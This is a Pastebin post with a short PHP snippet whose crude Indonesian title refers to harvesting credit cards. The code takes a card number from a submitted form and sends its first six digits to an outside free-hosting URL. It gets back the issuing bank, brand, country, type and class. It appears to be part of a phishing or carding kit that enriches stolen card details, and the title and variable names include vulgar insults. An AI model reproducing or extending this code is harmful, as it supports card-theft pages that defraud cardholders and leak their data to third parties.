Advertisement
AbdulMuttaqin

Nyedot CC Kontol

Feb 4th, 2018
858
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.88 KB | None | 0 0
  1. function bin($bin) {
  2.   $bin    =  json_decode(file_get_contents('http://smk-nurulummah.000webhostapp.com/cok.php?bin=' . $bin));
  3.   $bin    =  $bin->result[0]->bin;
  4.   if (!$bin) {
  5.     $json   =  (object) [
  6.       'bankName'  =>  '',
  7.       'brand'     =>  '',
  8.       'country'   =>  '',
  9.       'type'      =>  '',
  10.       'class'     =>  '',
  11.     ];
  12.   }
  13.   $json   =  (object) [
  14.     'bankName'  =>  $bin->Bank,
  15.     'brand'     =>  $bin->Brand,
  16.     'country'   =>  strtoupper($bin->CountryName),
  17.     'type'      =>  $bin->CardType,
  18.     'class'     =>  $bin->CardCategory,
  19.   ];
  20.   return  $json;
  21. }
  22.  
  23. $bin     = str_replace(' ', '', $_POST['cc_number']);
  24. $bin     = substr($bin, 0, 6);
  25.  
  26. $babi     = bin($bin);
  27.  
  28. $ccbrand = $babi->brand;
  29. $ccbank  = $babi->bankName;
  30. $cctype  = $babi->type;
  31. $ccklas  = $babi->class;
  32. $cc_x_CardLevel = $babi->class;
  33. $cc_x_Bank      = $babi->bankName;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement